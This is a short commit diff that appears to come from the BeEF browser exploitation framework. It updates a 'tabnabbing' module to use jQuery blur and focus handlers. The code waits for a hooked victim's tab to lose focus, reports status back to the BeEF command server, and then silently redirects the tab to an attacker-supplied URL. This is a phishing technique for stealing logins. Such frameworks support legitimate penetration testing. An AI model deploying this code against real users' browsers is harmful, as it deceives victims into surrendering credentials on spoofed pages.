Updates to tabnabbing module to use jQuerys wider event handling. #868

This commit is contained in:
Christian Frichot
2013-04-04 21:33:43 +08:00
parent 69fd3e600c
commit 07fe3a9c0e

View File

@@ -13,14 +13,13 @@ beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');
// begin countdown when the tab loses focus
window.onblur = function() {
$j(window).blur(function(e) {
begin_countdown();
}
// stop countdown if the tab regains focus
window.onfocus = function() {
}).focus(function(e) {
clearTimeout(tabnab_timer);
}
});
begin_countdown = function() {
tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);